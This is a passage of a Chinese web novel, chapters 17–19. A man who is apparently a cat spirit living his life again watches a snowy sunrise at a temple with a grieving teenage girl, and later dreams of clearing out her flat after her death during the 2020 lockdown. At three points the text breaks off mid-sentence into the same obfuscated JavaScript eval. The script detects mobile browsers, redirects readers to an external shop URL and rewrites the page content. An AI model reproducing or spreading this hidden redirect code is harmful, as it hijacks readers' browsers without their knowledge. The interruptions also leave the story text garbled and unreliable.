在寺庙的门口听阿姨胡扯了一通,姜青杳给了大概八十八块钱,从阿姨那里买了一堆香火这才和邵远年正式进到寺庙里面准备拜拜。没想到刚进去,寺庙的猫猫都喵喵咪咪地围了过来。 “人?猫为什么闻到了猫的味道?” “难道猫也是猫?可是猫为什么会有人的两条腿?” “人!教教猫!猫也想像人那样走路!这样就可以帮阿姨打扫卫生了!” “……” 有些头疼又有些无奈的邵远年蹲下身子从口袋里拿出来冻干,刚将冻干罐头打开,那些猫猫都不喵喵咪咪地问邵远年这个猫妖怎么变成人的了,都直接大吵大闹“要吃要吃猫饿猫饿”这样的话。 姜青杳有些不可思议地瞪大了眼睛,也蹲下身子接过邵远年递过来的猫条,一边喂着小猫咪一边询问:“你怎么出门还带猫条冻干罐头这些东西啊?它们是闻到味道了才这样追过来的嘛?” 邵远年不好解释,只好抿了抿唇点点头说:“习惯带点这些东西了。应该是的吧。” 深信不疑的姜青杳不明觉厉,点点头:“那我下次也带点猫条冻干罐罐,让猫猫也追着我跑。” - 当姜青杳和邵远年爬到寺庙的最顶层,太阳也升起来了。 从天际线升起来的太阳,在姜青杳看起来就像是沁着流黄的咸鸭蛋,红红的、橙橙的。 “邵远年,你觉不觉得太阳好像鸭蛋?”这样说着,姜青杳咽了咽口水,她又有点馋了。 轻笑声从耳畔响起,接着是保温桶开盖的声音,邵远年一脚踩在石阶上撑着腿让保温桶架在大腿上,然后打开了最下面的一层,切成小块的沁着流黄的鸭蛋就这样红彤彤地出现在姜青杳面前。 “吃吗?”邵远年颔首,示意姜青杳从他的口袋里拿出来筷子。 “……邵远年,你是仙女教母吗?”姜青杳愣愣地问。 怎么什么都能够实现,而且还是她没有开口就能知道她想要什么的超级无敌美仙男。 抿唇笑笑,邵远年没有多说他是上辈子翻看她的日记知道她后来喜欢爬山,还喜欢在爬山的时候看着日出或者日落,吃上一个不是特别咸的咸鸭蛋,因此他才提前准备了这些东西的。 “这回不是哆啦A梦了?”邵远年笑着问,眼睛亮亮的宛如天边的明日。 “那就是拥有神奇百变口袋的仙女教母!”姜青杳笑着接下了这个话题。 17. 17.碎雪 (本章可以搭配黄淑惠的单曲《Someday》食用。) 上山前吃的烤肠和墨鱼鱼丸还有茶叶蛋和米酒早早在爬山的时候消耗掉了,现下姜青杳又看到从天边缓缓升起的溏心咸鸭蛋,邵远年便打开了一直带着的保温桶,拿出了勺子和筷子,将皮蛋瘦肉粥但是少瘦肉版还有他出门前刚蒸好的葱多多的花卷拿出来,两个人坐在石阶上吹着风吃早餐。 姜青杳没有见过海,她在的华中省是最中央的地方,最多的只有长江大桥和江滩。她一边舀着碗里的皮蛋瘦肉粥一边看着澄红色的鸭蛋黄般的太阳升起,风碎碎地吹过她的短发。她垂眸,才发现自己的短发已经长长了不少,尾巴已经开始俏皮地外翘起来,是时候再去理发店修一修发尾了。 这是她第一次见到太阳升起的时刻,在她十五岁人生的这一年。 她没想到日出是这样的美丽,那么日照金山,看着太阳从海边升起该是多么壮观? 扭头望向身边在葱很多的花卷的邵远年,发现他还用盘子接着碎碎落落掉下来的葱花,也和她一样,像是小时候一边吃饭一边看电视里的动画片般,看着天边升起来的太阳,就着太阳吃早餐。 她从未想过她会有这样的勇气跟着一个人义无反顾地在凌晨三点的时候出门。 她们不知道天气如何,不知道路况会怎么样,不知道她们爬上山究竟能不能看到这样壮观的“新阳推开阴霾”的景象,就这样出门了。姜青杳笑笑,舀起下一勺皮蛋瘦肉粥吹了吹还有些烫的粥,也许只有她什么都不知道,也许邵远年在昨天晚上突然说要爬山的时候就已经准备好了一切。 “邵远年。”姜青杳将最后几口粥扒拉扒拉干净,出声喊住了他的名字。 风呜呜地吹,吹乱他的三七分头发,也许邵远年出门着急没来得及定型,被风吹得遮盖住他大片白皙的额头,姜青杳就在一道道金光下看向他,然后说:“你知道吗?我想成为你这样的人。” 邵远年愣住了,就像是一枚硬币掉落在了水槽里,发出“叮”的声音——他这样的人? 抿了抿唇,姜青杳深吸一口气,一副豁出去的样子将她认为有些肉麻的话说出口:“因为你能够在凌晨三点的时候喊醒我,能够在喊醒我带我出门之前准备好我们要吃的早餐,能够一个人精神爽朗地开着车上山路,能够及时抓住差点没站稳的我,能够做许多许多计划之外和计划之内的事情。” “我的意思是,你特别好,好到我想我到二十岁的时候也能成为你这样优秀的人。” 说完,姜青杳的脸不知道是被风刮得粉红,还是被自己肉麻的话染上一层粉晕。 他的喉结上下滚动着,在他没有注意的时候一行清泪随着风坠落在他的羽绒服上,很快这滴泪就消失在他温热的脖颈里,也没有被低着头用吃咸鸭蛋来掩盖自己尴尬的姜青杳看到。 吸了吸鼻子,邵远年的鼻头有些红,摸了摸鼻尖:“我很高兴,很高兴你会这样评价我。” 听到鼻子吸气的声音,姜青杳扭头看向邵远年,看向他鼻尖的棕痣,她能听出他语气里的哭腔。但是目前的姜青杳还不能明白为什么只是这样简短的“好人牌”能够让邵远年如此激动。 他的心像是沸腾的火锅里一大一小的千页豆腐,像是吹起气来马上要飞向高空的气球,像是不断用吸管搅拌着的玻璃杯的冰块乱七八糟,叮叮当当的冰块像是敲响他奔向未来将要停滞在25岁那一条人生进度尺的姜青杳的脚步声,在这一刻他所做的努力终于化作吹动姜青杳奔向光明的风。 曾经的他妄图用爱去拯救姜青杳,直到他彻底认知到爱可以是良药但是不是解药。 解救一个困住自己的人,他不能站在沼泽边大力地拉起她,否则他不在她身边的下一秒,她就会再度深陷进更深的泥潭里;解救一个困住自己的人,他不能直接牵着她的手强行带着她跑向光明,长久没有见过光明的人突然从黑暗中看向耀眼的光只会觉得这一切过分刺眼;解救一个困住自己的人,他不能疯狂地浇水企图让她枯萎的心再度开花,这样只会让她的心枯竭得更加彻底。 他应该成为托举她航行的帆船,是否奔向光明的船舵由她掌控。 他应该成为吹走她种子的微风,应该在她作好成熟面对的时刻助力她远行。 他应该成为她如同夸父逐日般助力她远行的河水,见证她大步奔向光明的世界。 “会的,到那一天,你一定会成为比我还优秀还要好的人。” 话音刚落,碎碎落落的雪花就这样飘荡在空中。它们掉落在姜青杳的鼻尖,很快就化成雪水滑过她直挺挺的鼻梁。掉落在她黑色的羽绒服上面,雪花的样子在黑色尽显。飘荡在她和邵远年对视的空间中。姜青杳愣愣地抬起头看向天空,发现弥望的尽是鹅毛一样的大雪淅淅沥沥飘落下来。 她好奇地伸出双手,将碗放在双腿上放好,几片雪花就这样掉落在她的手心。 “邵远年,下雪了。”姜青杳雀跃地将手捧着快要化掉成雪水的雪花给邵远年看。 刚扭头,就发现他修长浓密的睫毛上挂着小片小片的雪花片片,还有更多翩翩起舞的雪花准备降落到邵远年的茂密的头发上。而这一切,他似乎都没有察觉,他只是看着她淡淡地笑。 她突然想起来她们小时候最后一次见面就是在下雪天。倒春寒的气候带来了鹅毛大雪,地面上全是铺满的雪,她们一起躺在雪地上望着天,然后张开嘴去尝雪的味道,一起说明年还要看雪。 “邵远年,你还记得小时候吗?”姜青杳问,“就是小时候我们一起尝雪。” 愣了愣,邵远年回忆起很久远很久远的过去,然后摇了摇头,他的记忆已经有些紊乱了。 撇了撇嘴,姜青杳说着当时就是不知道听哪个大人说的,雪是甜甜的,和棉花糖一个味道,她们才会躺在地上尝雪,后来才知道雪是怎么样形成的,也许她们尝的是下水道的水形成的雪。说着,她还“呸呸呸呸”了几下,然后继续说等到她老了年纪大了她也要做一个胡说八道骗小孩的人。 见这样鲜活可爱的姜青杳在自己面前,邵远年温柔地笑了笑,然后抬起手伸出小拇指。有些摸不着头脑,但是姜青杳还是伸出了自己的另一只手将小拇指勾在了邵远年的小拇指上面。 “那我们拉钩,”邵远年的脸庞在金光闪闪下格外柔情,“以后你胡说八道,我给你作证你说的都是些真的,两个人一起骗小孩子玩更有说服力。”说完,他的手拉着她的手晃啊晃。 姜青杳没有想到邵远年真的会认真听进去这样的玩笑话,笑得眯起来眼睛,像是一只狡猾的小狐狸,两个人的小拇指在日出下晃啊晃:“好啊,拉钩,上吊,一百年不许变!” 就在说话的期间,雪越下越大。 姜青杳晃了晃头发,将头发上掩盖住她有些营养不良的栗色的雪花抖落掉,像是雪地里抖落毛发上的雪花的柴犬。她直接往后一靠躺在地上,腿伸得直直的,成一个派大星的形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661705|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状躺在薄雪里。 “要不要复刻一下小时候的快乐?”姜青杳说着,手摆动了几下,像是在游泳。 话音刚落,身旁就吹起一股猛烈的风,邵远年也顺势躺下,和她一样成“大”字型。 她们一起躺在薄薄的雪地上看着漫天飞舞的大雪,像是躺在田野里无忧无虑。 - 雪越下越大,姜青杳和邵远年将东西收拾好装进包里,准备拿着香火去拜一拜寺庙里的佛。 “我有和你说过吗?”姜青杳一边走着,听着运动鞋踩在雪地上的声音,一边回头对着身后护着她不要摔倒的邵远年说着,“我爸爸去世的那几天我的伤口一直都很痛,但是在追悼会的那天,我在殡葬司仪的主持下向他鞠躬之后,我的腿就不痛了。从那之后我开始相信人是有灵魂的。” 抿了抿唇,姜青杳继续说着:“我突然开始相信,也许人去世之后真的会庇佑自己念念不舍的人。可能在我爸爸去世后,他一直在天上急得团团转,但是上帝说只能在最后的告别仪式上实现一个小一点的愿望,然后他就说‘这样啊,我许愿我的女儿不要再被疼痛折磨’。怎么样?信不信?” 说完,姜青杳挑了挑眉,说话的眼睛里没有任何悲伤的情绪,仿佛只是在说“吃饭了没有呀”这样的日常对话的问题。见邵远年表情有些沉重,她叹口气,停下了脚步。 顿了顿,她组织好措辞,看着邵远年幽绿色的眼眸很认真地说:“网上很多人说亲人的离世就是一场潮湿的大雨,但是我也相信你说的,雨总是会停的,虽然偶尔我们会踩到藏着雨水的砖缝然后再度陷入悲伤。可是雨总是会停的不是吗?活着的人应该一直往前看,大步向前走。” 邵远年突然想到那张失去了黏性的粉色便利贴—— 「邵远年,一直以来都很谢谢你,以后的日子请大步走向你自己的人生吧!」 “你是这样想的吗?但如果活着的人一直前进,被困在原地的她不会寂寞吗?” 姜青杳低头看着变得有些厚的积雪,脚在雪地上画着圈圈,思考了一番,然后说:“但是一直萎靡不振,因为他的去世而困在原地迟迟无法前进,被困住的他反而会更加寂寞难过吧?” 轻轻叹一口气,邵远年突然想到网上说过的一个话题:“这样啊。” “那如果,岁岁我是说如果,如果你能够重溯人生,你会去弥补你的遗憾吗?” “重溯人生?邵远年,你怎么知道我最近在看这样的小说,哈哈。”姜青杳笑着说。 歪了歪头,姜青杳很果断地抬起头看向邵远年:“我不会。” 很让人惊讶的答案,邵远年感觉心在颤抖,就像是织物细细被织物机梳过那样:“为什么?” “最近有个词很火,叫‘蝴蝶效应’。”姜青杳慢慢说着。 “也许你弥补了这一次的遗憾,蝴蝶振翅带起来的风或许会让你出现另一个遗憾。然后你兜兜转转,你发现你像是在补救破了洞的气球,无论怎么样你只是在延迟它的破败,你一直知道结局的。” 邵远年怔住了,嘴巴一张一合想要说些什么,但是又不知道该如何去说自己心里的复杂。 “但是如果能一直重溯人生呢?”邵远年不死心地继续问。 “如果一直能重溯人生?很极端的假设……”姜青杳抿了抿唇,皱起眉头来仔细地思考着。 “那么重生者应该学会接受想要拯救的人的死亡。”她说罢,抬眸看向邵远年。 18. 18.枝头 见话题好像有些偏转得严肃了些,姜青杳踮起脚拍了拍邵远年头上的碎雪:“不过这些肯定不是我们想的啦。每一个拥有异能的人,一般背后都会有一些悲情的故事,还会失去很多东西的。” “走啦,我们去拜拜寺庙里的佛祖,我想求求学业。”姜青杳拉了拉邵远年的手臂。 怔住的邵远年垂眸看向冻得有些红的手,反手握住了她的手,轻轻地“嗯”了一声。 “说起来,头香好像烧不到了,没想到周末来爬山到山上寺庙的人还挺多。”姜青杳笑笑。 两个人走到一座鼎面前,学着旁边烧香的人小心翼翼将三根香放进鼎的火焰里面,待香烧上了星星的火再拿出来,任香火在风雪中慢慢熄灭,留下几根缥缈的香烟。然后再有模有样地学着旁边的人手拿着对着大殿的正门拜了拜,一边拜一边默念着想要求的愿望,最后将香插进香灰堆里面。 “你许的什么愿望?”姜青杳问。 “不行,愿望说出来就不灵了。”邵远年摇摇头。 “那你不说,我也不说,希望我们的愿望都可以成真。”姜青杳迈着雀跃的步伐走了。 走着没几步,姜青杳突然注意到有座殿门口写着指示牌的标语:“每人免费领三炷香”。 “我靠,我们是不是被寺庙门口的阿姨给骗了?”她震惊地指向哪个指示牌的标语问。 邵远年顺着姜青杳指的手看过去,发现还真是,抿了抿唇,有些无奈:“就当积攒功德了。” “我给了那个阿姨一百!一百啊!”姜青杳惊叫,“所以她说的那些漂亮话说不定都只是漂亮话。”意识到自己被骗了后,姜青杳感觉自己的一百像是凭空掉在路上被人捡走了一样。 “那个阿姨肯定觉得我特别好骗,现在正美得很,乐滋滋得很。”她有些不满地撅起来嘴。 “不一定,”邵远年突然想起来那个阿姨说的话,“也许她是真假混着说的。” 补刀补得恰到好处,姜青杳默默嘴角下沉,接受了这个“骗局”。 “下次,下次我再到寺庙这里,我坚决不信她们看手相的漂亮话,我直接跑!” 听到姜青杳的话,邵远年笑了笑。想起来之前她学聪明后扒拉那群围着看手相的人冲出重围的样子,然后一边跑一边大笑,说自己上次这样跑还是学校晚自习停电了和大家一起冲出校园。 “好,下次我们直接一起跑。” - 大步迈入寺庙的求学业的殿,姜青杳径直走到大殿的软垫前,双手合十跪在了软垫上,心里默默念着期许自己能够考上一个不错的大学,希望自己能够快快赶上新学校的学习进度,然后再拜了三拜,磕了三个头。起身整理了一下黑色的长款羽绒服,她就将一张二十块的纸币塞进功德箱。 拜完了自己的心愿,姜青杳扭头看向一旁伫立在门口的邵远年,他正仰着头看着漫天飞舞的大雪,不知道在想些什么,于是快步走到他身边手背在身后:“嘿!想些什么呢?” 被打断思绪的邵远年回头看向姜青杳,伸手将她有些凌乱的刘海理顺:“想等下吃什么。” “……邵远年,你胃口好大。”姜青杳想起来她们才吃过了早餐没有一个小时。 被调侃的邵远年笑笑:“嗯,其实是在想等下是去山下吃还是就在山上吃,山上有一个素菜馆,可以吃这边寺庙的斋饭。你想尝尝斋饭吗?我听说这里的南瓜小米粥非常好喝。” “斋饭?我还没有吃过,就当是见见世面了。”姜青杳点点头。 一边说着“好”,邵远年一边牵起姜青杳的手带着她大步走向一旁的财神殿。待姜青杳走到殿门前看了看上面的牌匾才恍然大悟是什么殿,于是笑着说你怎么知道我其实是个财迷,笑嘻嘻的。 邵远年自然不会说,是因为她每次去道观求签去寺庙数罗汉,总是额外关注财运方面的事情,只是抿了抿唇笑笑,和她一起跨步高高的门槛进入了殿内,看着她再次双手合十地叩拜。 这次姜青杳捐赠了一百块,又花了五十买了一个财运福。 “邵远年,你有没有想过,未来你想成为什么样的人?”出了大殿,姜青杳问。 在她的心里,二十岁的邵远年应该已经又了自己的人生目标,而且已经奔着他的人生目标奔跑了一段时间。但是她没想到得到的答案居然是“没有”,有些讶异,她还以为人到十八岁就什么都知道了。于是又继续问:“那到底多大才算长大了?我还以为成年就意味着人长大成熟了。” “其实现在的你就已经长大了。”邵远年说。 “我?”姜青杳有些疑惑。 然后她就听到他说其实长大和时间没有关系,长大是一瞬间的事情。 “比如,你已经在十五岁的年龄经历了人生必须要经历的课题,死亡和分离。而且你没有萎靡不振,你在漫长的悲伤中走了出来,相比很多人你已经很成熟了。”邵远年的话让姜青杳有些脸红。 在东亚挫折教育的家庭下长大的姜青杳,几乎没有听过这样直白的表扬。 她总是在不断地追赶着叶知舟和姜蝶的步伐,以为只要能够跑到她们的身边成为她们口中的“成熟”成为她们口中的“大人”就会得到她们的表扬。九十五分的卷子拿到她们面前,会被她们询问班上第一是多少分,知道第一名是一百分后就会说你要和学习好的比啊,和后面的比有什么用。带着摔破的膝盖和想要撒娇的心情到她们面前,只会得到“哭能解决问题吗”这样的答案。 所以,姜青杳有些愣住了。 她荒芜的心在这一刻突然迎来了润万物的春雨,从此会万物生长生生不息。 “邵远年,谢谢你。” - 出了大殿再往寺庙的深处走,姜青杳和邵远年发现了一颗百年大树,甚至可以说是千年大树,就算是有四五个人张开双臂环抱都无法全部的树躯。她不免有些讶异,有股想哭的冲动。 也许是经历过生离死别,也许是眼前的树木肆意生长的旺盛生命力,她感觉生命就是一个奇迹。于是她拿出手机打开了相机,对准这颗挂满了许愿牌的树木拍了一张照片设置为壁纸。 “邵远年,我们也去许个愿望吧。”姜青杳扭头,对着邵远年说着。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661706|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。”邵远年点点头。 她们一起走到殿里面领取了许愿牌还有笔,弯着身躯趴在木桌子上写着自己的愿望。 邵远年依旧毫不犹豫地写下了那几个大字——“岁岁平安”。 只是姜青杳左思右想,这块巴掌大的木头许愿牌看起来很大,但是要写点什么似乎只能写一两个愿望,但是她想要的太多太多,希望神明别怪她贪心不足。她期望姜蝶身体健康平安,又希望她快乐开心。她想要邵远年一直陪在她的身边,然后她们永不分离。她还希望她能够赚很多很多钱实现财富自由。她还想要自己未来能够走上叶知舟的道路,去帮助更多更多的人…… 思来想去,姜青杳写下她每年都会许的生日愿望——“希望妈妈健康平安快乐开心”。 只不过许愿的对象从两个人变成了一个人。 写完,姜青杳又加上了一个括号在后面:“佛祖好,如果快乐很难,平安就好”。 她写字本来就小,将这些写完刚好占满一个木头许愿牌,密密麻麻像是小蚂蚁。 两个人写完许愿牌上的东西,都不约而同将写着字的那面面对自己,压在自己的黑色羽绒服上面,生怕别人看到了上面的许愿就不灵验了。像是捂着口袋里最后一颗糖的小孩子。 许愿牌上面的尾部有着红色的绳子和丝绸在雪风里摇摆,像是缠绕的红线。风雪很快就将她们的许愿牌尾部的红色小尾巴圈绕在一起,姜青杳和邵远年忙低头去解开上面的红线和丝绸,却越解越乱——主要是害怕把绳子和丝绸弄坏,只能小心翼翼的。 这幅场面被路过的小和尚看到了,合十的双手鞠了一躬拿出剪刀把交缠在一起的红线剪断了,两个人立马看向小和尚,担心这样的举动会影响许愿的灵验。却听到小和尚说万事没有万全的,想要做成一件事情必定会舍弃一些东西,说完,那个小和尚又鞠了一躬然后将剪刀放在口袋里离开了,剩下姜青杳和邵远年在风雪中相互对视相互凌乱,最后默默接受了这个说法。 “你看,她们都是抛上去的,有绳子和丝绸打结,可以挂在枝头上面。”姜青杳说。 “我们怎么办,我们好像没有办法抛上去。”姜青杳低头看了看两个人的许愿牌,说道。 邵远年说着“把手给我,揽住我的脖子”,姜青杳下意识跟着他说的话去行动,然后就感觉自己被举高了起来,自己现在的视角少说也有两米高,有些慌乱地抓紧了他肩头的羽绒服。 “干,干什么呀?”姜青杳有些恐高,只好垂眸看向邵远年的眼睛去缓解自己的害怕。 “把你举起来,我们就可以挂在枝头上面了。”邵远年笑着说,臂弯托举着她一边往树那走。 别说,还真是这样,被邵远年托举着到了那颗许愿树下面,姜青杳很轻松地就可以够到枝头。 先将自己的许愿牌头部的勾勾挂在了枝头,然后她再低头接过邵远年的许愿牌,准备也按照刚才的动作将许愿牌挂在枝头。没想到一阵风雪袭来,她下意识抬起手捂住了刘海。 许愿牌上面的四个大字突然出现在自己的眼前。 「岁岁平安。」 19. 19.想念你(梦) (本章可以搭配卢广仲的单曲《我爱你》食用。) “已开锁。”冰冷的机械音随着输入正确的密码打开了密码锁。 推开门,朝阳的阳台斜照进来一大片阳光,就着阳光,邵远年看到许多灰尘还有一些像是润润的毛发在空气里飘荡。握成拳头的手捂住嘴轻轻咳了几声,随后邵远年打了一个喷嚏。 布满灰尘的房间已经沉寂很久了。 从2019年的10月02日起到现在的2020年1月23日,她变成小小的钻戒戴在他的无名指手上已经有了113天。邵远年望着挂在客厅右侧的时钟,上面的时间是七点过一刻。 “其实分别也没这么可怕,65万个小时后,当我们氧化成风,就能变成同一杯啤酒上两朵相邻的泡沫,就能变成同一盏路灯下两粒依偎的尘埃……大家早上好,我是电台主持人温一宁,这是今天FM82.5电台为您分享的是劳伦斯·M·克劳斯的《从无到有的宇宙》里的浪漫的诗词……” 邵远年将蓝牙耳机关闭,电台主持人的声音从小小的黑色橡胶钻出,渐渐挤满这个空间。脱下厚厚的羽绒服,露出穿在里面的黑色紧身高领毛衣,戴在脖颈的红玛瑙平安扣便露了出来。 他还记得岁岁送给他这个平安扣说的话,她说这个红玛瑙是她在市场里淘到的,后来又去找了人在内侧刻了她的小名“岁岁”,希望他能够岁岁平安,也希望“岁岁”常相伴他左右。 自那之后,这枚红玛瑙平安扣就在他的脖颈上再也没有摘下来,就连睡觉也是。 把毛衣的衣袖撸到大臂,邵远年换好了鞋子后就走到客厅打开电视,准备一边打扫卫生一边听电视的早间新闻。他环顾了一圈,家其实和她离开之前没有什么两样,就是挂在阳台的衣服还是夏季的衣服,黑白灰蓝的短袖高高挂在晾衣柱上,阳台的米黄色窗帘变得不再干净,是因为暴雨。 发生事情之后,他在家里跪了三天守灵,待头七过后几乎什么都没有带走就搬了新家。 这次回来,除了打扫一下卫生,还有的就是把自己的东西清走。 “现在插播一条紧急通知。” “自2020年1月23日10时起,全市城市公交、地铁、轮渡、长途客运暂停运营;无特殊原因,市民不要离开启明,机场、火车站离启明通道暂时关闭。恢复时间另行通告。” 还没等反应过来,楼下已经响起了大喇叭:“现在起小区正式封闭,请居民谅解!” 邵远年抬手看了看腕表,时间正是8点58分。 “咚咚咚。”还在愣神之际,房门被敲响。邵远年想起来今日本土新增病例的新闻,从行李箱里摸出来口罩戴上,然后才谨慎的隔着门和外面的人对话:“您好,请问有什么事情?” “是这样的,我们物业根据楼栋排查,发现只有您正值青壮年,其他都是一些老人,想请您做22栋楼的社区志愿者帮忙运输生活物资等志愿活动,请问您愿意帮忙吗?” “可以。”“太感谢了!这样,我拉您进群,一个是社区楼栋群一个是志愿者群。” - 邵远年也没想到只是突然想起来要回姜青杳曾经和他一起住过的房子里收拾遗物,就这样被封在了小区里,还成为了22栋楼里唯一的新冠疫/情社区服务工作者,每天帮忙运输垃圾和生活物资。 逆流旋转的人生像一场永不会停歇的龙卷风,将他吸入漩涡的中心。 他在这场风暴中早已分不清时间的节点。他站在这条不知道何时会逆流的长河里,只能依靠他的记事本想起来时间。他在只属于他的人生长河里达到了永生,而这正是对他的惩罚。 将挂在门口的大壶酒精拿出来,邵远年喷了喷自己的鞋底,又喷了喷自己的全身,将手套和口罩摘下来丢进门口的垃圾桶里,再把一直围在脖颈的围巾也摘下来挂在外面,这才小心翼翼打开房门进去换鞋。1月份的天气还有些寒冷,房屋里一直开着地暖,邵远年回到屋内这才感觉活了过来。 其实刚开始听到封闭管理小区的消息的时候,他有点担心。自从岁岁离开后,他除了那几天在家里跪在她的遗像面前守夜,就再也没有来过这个家。但是好在,正是因为再也没有来过,里面的很多东西都是齐全的,几乎都是……她还活着的时候的样子。 邵远年打开立在门口的玻璃橱柜,拿出一个白底的陶瓷杯子,上面画着一个绿色的小蛇缠在黑色的枝桠上去摘去枝桠沉甸甸的红苹果。他后来在黑色枝桠上偷偷加了眼睛,成了黑色小蛇。 姜青杳喜欢收集杯子,她说她如果有了自己的房子,她要有一个地方特地放杯子。当时买房子的时候房子是精装修房,埋线插头墙壁等等东西都已经被房地产那边安排好了,她就负责买家具。 邵远年捏了捏眉心,将桶装水提起来倒进玻璃壶中,然后再倒了壶里的水到桌上的杯子里。 手腕上的运动手表开始震动,邵远年看向腕表发现时间已经来到了一点。 到吃药的时间了。 邵远年从裤子口袋里拿出来分药器切割好再装填满的14个小格子,里面黄色的白色的裹着糖衣的没有裹着糖衣的药随着他的动作晃动,发出药互相碰撞的声音,随后是“咔哒”打开盒盖的声音。 将药吞咽下去后,邵远年皱着眉头喝了整整一大杯水。 他不喜欢吃药,吞得慢一点,那些药就会顺着他口腔里的液体慢慢融化成粉末,然后那些苦的、难咽的,像极了墙灰的东西就会像不小心踩在橡胶鞋底的口香糖镶嵌在他舌苔的每一寸。 抬起手腕,邵远年按下了倒计时半个小时的按钮。 他吃的药有镇定的作用,有的时候会在吃完药的十几分钟内就困得不行,有的时候熬到通宵也睡不着,平均在半个小时内就会起效。所以,他要在这半个小时的时间里洗漱完,然后睡觉。 将水杯放下,邵远年趿着拖鞋踩着温热的地板去了房间拿换洗的衣物。 他将浴室推开,发现洗脸台上还放着她们的牙刷杯和牙刷,牙膏依旧是被她们急匆匆地挤成扭七八歪的模样——中间肿胀而四肢纤细的躯体,冒出一点牙膏膏体的头。 有些恍惚,邵远年双手扶着洗脸台大口喘气,随后打开水龙头猛扑了几捧凉水在自己的脸上。 他抬起湿淋淋的手抚摸上冰凉的镜面,镜子里的那个人满脸疲惫地看着镜子外的那个人。这种陌生的没有任何温度的触感,就是他触及自己躯体的感觉,他的解离情况已经越来越严重。 在开始□□神类药物后,他才明白了岁岁的很多行为。 她常常会大口大口喝水,因为她吃的药物的副作用会上很多厕所,她需要补水;她常常会双手抚摸自己的脸,然后抬起手腕将脉搏贴紧自己的耳朵,像听海螺的海声。因为不这样做的话,她无法感受到自己的身躯依旧还在这个世界,她无法将自己的躯体和自己的意识链接;她常常午休一睡就睡到傍晚,因为她吃的镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661707|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定的药物太多了,晚上睡前要吃,白天起来也要吃,像无尽的摩天轮。 他看着自己疲惫的眼皮一眨一眨,随后叹了口气,将快要溢出的水的源头关掉。 各种用了一半、用完了、还没有开封的沐浴露堆放在防滑台的旁边,其中有两瓶是牛奶味沐浴露,有两瓶是用了半空的桂花香沐浴露,还有一瓶是买洗发水送的非常难用的沐浴露和已经用空的玫瑰味沐浴露。有的泵头下面已经凝固起沐浴露的固体块,告诉他时间的流逝。 邵远年选了桂花香的沐浴露,将它弄在起泡网上洗澡。 洗完澡,邵远年擦着吹着半干的还流着水滴的头发走出了浴室。 他没有打开自己的房间,而是打开了姜青杳的房间。 在她去世后,房间的床铺用品已经被烧掉。 他眨了眨眼睛,打开衣柜钻了进去,然后反手拉上了衣柜门,躲在这个黑漆漆的空间里。邵远年贪婪地抱着姜青杳的衣物,将脸轻轻蹭着她曾穿过曾留下走过这个世间的痕迹。他好想她。 在守灵的那几天过后,他就将她的一些衣物用真空塑料袋压缩起来。每当他想她的时候,他就会打开真空压缩袋拿出一件她的衣物抱着它哭。他哭泣的时候不敢将眼泪滴落在她的遗物上,他害怕冲淡了她的气息,害怕他的泪水会让她的灵魂被囚禁在这滴、又或者是每一滴的眼泪里。 2020年1月22日,他带走的她的遗物已经没有了她的味道。 2020年1月23日,他带着行李箱再次回到记录她曾活过的痕迹的空间。 他安慰过逆流回转的人生中的姜青杳无数次,和她说“雨总会有停的时候,但雨刚结束的时候,泥泞的土壤,翘起的砖块,堆积的水洼,它们不会马上离开。只有当你踩到它们的时候,你才会想起来前不久下过一场大雨”,但实际只有他知道,在她离开后,他的世界潮湿泥泞和泥土一起痛哭。 贴着脸的肌肤有淡淡的桂花香味,其实和她的衣物上的洗衣液味道差不多。 他怎么会不知道这些味道其实并不是她身上的味道,而是洗衣液沐浴露的味道呢? 只是他固执地认为这是她的遗物那么那就是她身上的味道。 她身上的味道应当是甜甜的肥皂泡泡水的味道。 - 邵远年睁开眼,发现是黑漆漆的房间,他正攥着枕头在怀里而不是岁岁的遗物,他正躺在自己的床上而不是蜷缩在思念她的衣柜里。噩梦的冷汗让他的刘海像他的鬓发贴在他的肌肤上。 没多久,邵远年循着月光悄悄打开了姜青杳的房门。 他又一次在深夜惊醒的时候出现在她的房间门口。 邵远年蹲在姜青杳的床边,静静地看着她的睡颜,伸手抚平她睡梦中依然皱紧的眉头。 想了想,月光下的人影再次变成猫咪的身影,轻盈地跳上了床,用尾巴缠绕住熟睡中的姜青杳的手臂,企图将半夜惊醒的那场噩梦带来的恐惧驱散,用肌肤的贴近告诉他姜青杳现在还活着。 